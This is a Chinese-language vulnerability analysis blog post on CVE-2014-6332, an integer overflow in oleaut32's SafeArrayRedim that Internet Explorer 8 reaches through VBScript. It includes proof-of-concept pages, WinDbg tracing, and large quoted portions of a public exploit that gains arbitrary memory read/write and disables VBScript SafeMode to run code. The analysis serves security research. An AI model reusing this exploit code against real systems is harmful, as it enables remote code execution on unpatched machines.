Internet Explorer漏洞分析(三)[下]——CVE-2014-6332

Gcow安全團隊發表於2021-03-08

Internet Explorer漏洞分析(三)[下]——CVE-2014-6332

1.本文一共2158個字 39張圖 預計閱讀時間14分鐘
2.本文作者erfze 屬於Gcow安全團隊複眼小組 未經過許可禁止轉載
3.本篇文章是CVE-2014-6332漏洞的分析入手 詳細的闡述漏洞的成因以及如何去利用該漏洞
4.本篇文章十分適合漏洞安全研究人員進行交流學習
5.若文章中存在說得不清楚或者錯誤的地方 歡迎師傅到公眾號後臺留言中指出 感激不盡

0x01 漏洞資訊

0x01.1 漏洞簡述

  • 編號:CVE-2014-6332

  • 漏洞影響:遠端程式碼執行(RCE)

  • CVSS 2.0:9.3

oleaut32.dllSafeArrayRedim在進行陣列重新定義時未對傳入引數psaboundNew進行有效校驗,以致可以越界讀寫,進而造成任意程式碼執行。

0x01.2 漏洞影響

Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1

0x01.3 修復方案

[MS14-064]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-064

0x02 漏洞分析

0x02.1 分析環境

  • OS版本:Windows 7 Service Pack 1

  • Internet Explorer版本:8.0.7601.17514

  • oleaut32.dll版本:6.1.7601.17514

  • vbscript.dll版本:5.8.7601.17514

0x02.2 前置知識

請移步Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探

0x02.3 詳細分析

分析所用POC如下:

<!doctype html>
<html>
<head>
</head>

<body>
<script LANGUAGE="VBScript">
   On Error Resume Next
   Dim arrayA()
   Dim size
   Dim over
   size = &h5
   over = &h8000000 + size
   Redim Preserve arrayA(size)

   Redim Preserve arrayA(over)
   arrayA(size+1) = "Hello"
</script>
</body>
</html>

開啟該POC,使用WinDbg附加除錯,於vbscript!RedimPreserveArray函式處設斷,允許阻止的內容:

圖1

執行到call  oleaut32.dll!SafeArrayRedim處,跟進分析:

圖2

首先是判斷傳入引數psapsaboundNew均不為空:

圖3

之後對psa.fFeaturespsa.cDimspsa.cLocks進行判斷:

圖4

call SafeArraySize計算陣列元素佔用空間大小:

圖5

psaboundNew寫入psa.rgsabound中:

圖6

調整後陣列:

圖7

計算調整後陣列元素佔用空間大小,減去原來陣列元素佔用空間大小:

圖8

由於此時ebx=80000000,故執行結果為負數指令分支 :

圖9

ole32!CRetailMalloc_Alloc函式用於為HeapAlloc傳遞引數並呼叫之:

圖10

由於申請空間遠遠超過可分配空間大小,故分配失敗,直接跳轉到函式末返回錯誤值:

圖11

由此,便可實現任意地址讀寫。

下面來看看正常執行流程,修改POC如下:

<!doctype html>
<html>
<head>
</head>

<body>
<script LANGUAGE="VBScript">
   On Error Resume Next
   Dim arrayA()
   Dim size
   Dim over
   size = &h6
   resize = &h4
   Redim Preserve arrayA(size)
   arrayA(0)="Jane"
   arrayA(5)="Alan"
   Redim Preserve arrayA(resize)
   IsEmpty(arrayA)
</script>
</body>
</html>

調整後陣列元素佔用空間大小-原來陣列元素佔用空間大小=0x50-0x70=ffffffe0

圖12

對其取相反數後申請如此大小空間:

圖13

之後將陣列多餘元素即arrayA(5)—arrayA(6)複製到此空間內:

圖14

圖15

call ole32!CRetailMalloc_Realloc重新分配堆塊:

圖16

總結:

  1. SafeArrayRedim函式在未重新分配空間之前便將psaboundNew寫入psa.rgsabound,用以傳遞給SafeArraySize函式計算調整陣列元素大小

  2. sub ebx, [ebp+Size]test ebx, ebx兩條指令用於判斷調整陣列元素大小—原陣列元素大小與零的關係,小於零/大於等於零進入不同分支處理

  3. neg [ebp+psaboundNew]對調整陣列元素大小與原陣列元素大小差值取相反數,將其傳遞給HeapAlloc函式分配相應大小堆塊

POC中&h8000000(該值經過SafeArraySize函式計算後為0x80000000)正是利用以上三點,實現任意地址讀寫——test ebx, ebxjge組合進行有符號數比較,neg對其取反仍為0x80000000。

0x02.4 利用分析

Exp來自[yuange]https://www.exploit-db.com/exploits/35229

第一部分:

function BeginInit()
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)    
  a3=7+3*rnd(5)
end function

function Create()
 On Error Resume Next
 dim i
 Create=False
 For i = 0 To 400
   If Over()=True Then
   '   document.write(i)    
      Create=True
      Exit For
   End If
 Next
end function

......

function Over()
   On Error Resume Next
   dim type1,type2,type3
   Over=False
   a0=a0+a3
   a1=a0+2
   a2=a0+&h8000000
 
   redim  Preserve aa(a0)
   redim   ab(a0)    
 
   redim  Preserve aa(a2)
 
   type1=1
   ab(0)=1.123456789012345678901234567890
   aa(a0)=10
         
   If(IsObject(aa(a1-1)) = False) Then
      if(intVersion<4) then
          mem=cint(a0+1)*16            
          j=vartype(aa(a1-1))
          if((j=mem+4) or (j*8=mem+8)) then
             if(vartype(aa(a1-1))<>0)  Then    
                If(IsObject(aa(a1)) = False ) Then        
                  type1=VarType(aa(a1))
                end if              
             end if
          else
            redim  Preserve aa(a0)
            exit  function
          end if
       else
          if(vartype(aa(a1-1))<>0)  Then    
             If(IsObject(aa(a1)) = False ) Then
                 type1=VarType(aa(a1))
             end if              
           end if
       end if
   end if
               
   '0x6f66 & 0xFFFFBFFF=0x2f66  
   If(type1=&h2f66) then        
         Over=True      
   End If  
   If(type1=&hB9AD) Then
         Over=True
         win9x=1
   End If  

   redim  Preserve aa(a0)          
       
end function

透過迴圈不斷重新定義陣列,擴大陣列規模,直至陣列aaab於記憶體中相鄰(準確 來說,二者相差8位元組):

圖17

ab(0)=1.123456789012345678901234567890,該值轉換IEEE浮點數可透過[IEEE 754 Calculator]http://weitz.de/ieee/ 計算:

圖18

如此一來,可透過aa陣列訪問ab陣列元素(由ab起始位置偏移8位元組)。type1=&h2f66判斷是由於GetVarType函式返回前會將vt0xFFFFBFFF作與運算:

圖19

第二部分:

      myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)  myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

.......

sub testaa()
end sub

function mydata()
   On Error Resume Next
    i=testaa
    i=null
    redim  Preserve aa(a2)  
 
    ab(0)=0
    aa(a1)=i
    ab(0)=6.36598737437801E-314

    aa(a1+2)=myarray
    ab(2)=1.74088534731324E-310  
    mydata=aa(a1)
    redim  Preserve aa(a0)  
end function

先來看i=testaa操作——將函式賦值給變數。簡化版如下:

<!doctype html>
<html>
<head>
</head>

<body>
<script LANGUAGE="VBScript">
   On Error Resume Next
   sub testaa()
   end sub

   IsEmpty("Test")
   i = testaa
   i = null
</script>
</body>
</html>

vbscript!VbsIsEmpty斷下:

圖20

透過ba w 2 1dc9e68ba w 4 1dc9e68+8兩條指令對棧頂設斷,第二次斷下時,修改vt0x4C

圖21

第三次斷下:

圖22

第四次斷下,更改vt0x01(VT_NULL = 0x0001):

圖23

但其仍儲存的是vbscript!CScriptEntryPoint物件,其後賦值給iOn Error Resume Next在此處尤為重要,是否加入該語句執行情況對比:

圖24

未加入On Error Resume Next語句最終會呼叫CSession::ReportError

圖25

而不會執行後續i = null語句,感興趣的讀者可自行探索CScriptRuntime::RunNoEH函式,不在這裡過多展開(該函式功能複雜,筆者僅是簡單跟蹤是否加入On Error Resume Next語句的執行流):

圖26

開啟任意讀寫後執行aa(a1)=i

圖27

ab(0)=6.36598737437801E-314

圖28

aa(a1+2)=myarray

圖29

ab(2)=1.74088534731324E-310

圖30

關於此處的除錯可於vbscript!VbsIsEmpty函式設斷,配合如下修改:

 'isempty(ab)
    ab(0)=0

    aa(a1)=i
   'isempty("1")
    ab(0)=6.36598737437801E-314
   'isempty("2")

    aa(a1+2)=myarray
   'isempty("3")
    ab(2)=1.74088534731324E-310
   'isempty("4")

第一次斷下後,可獲得陣列元素儲存位置:

圖31

mydata=aa(a1)

圖32

第三部分:

function ReadMemo(add) 
   On Error Resume Next
   redim  Preserve aa(a2)  
 
   ab(0)=0  
   aa(a1)=add+4    
   ab(0)=1.69759663316747E-313      
   ReadMemo=lenb(aa(a1))  
 
   ab(0)=0    

   redim  Preserve aa(a0)
end function

該函式功能用於讀取引數add指向記憶體,關鍵函式是cbLengthBstr(具體請參考Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探中的0x05 LenB函式一節)。ab(0)=1.69759663316747E-313

圖33

完成讀取:

圖34

第四部分:

function setnotsafemode()     On Error Resume Next     i=mydata()       i=readmemo(i+8)     i=readmemo(i+16)     j=readmemo(i+&h134)       for k=0 to &h60 step 4         j=readmemo(i+&h120+k)         if(j=14) then               j=0                         redim  Preserve aa(a2)                            aa(a1+2)(i+&h11c+k)=ab(4)               redim  Preserve aa(a0)                 j=0                j=readmemo(i+&h120+k)                             Exit for            end if     next      ab(2)=1.69759663316747E-313     runmumaa()  end function

第一次讀取結果見上文圖片,i=readmemo(i+16)第二次讀取:

圖35

該地址為vbscript!COleScript物件:

圖36

透過迴圈於該物件偏移0x120之後搜尋0x0E,該值用於檢查是否處於SafeMode:

圖37

aa(a1+2)儲存的是之前構造陣列物件——myarray

圖38

myarray起始地址為0,rgsabound.cElements0x7fff0000,故可讀寫vbscript!COleScript+0x170處內容:

圖39

修改完成,進入GodMode,成功彈出notepad.exe。

0x03 參閱連結


相關文章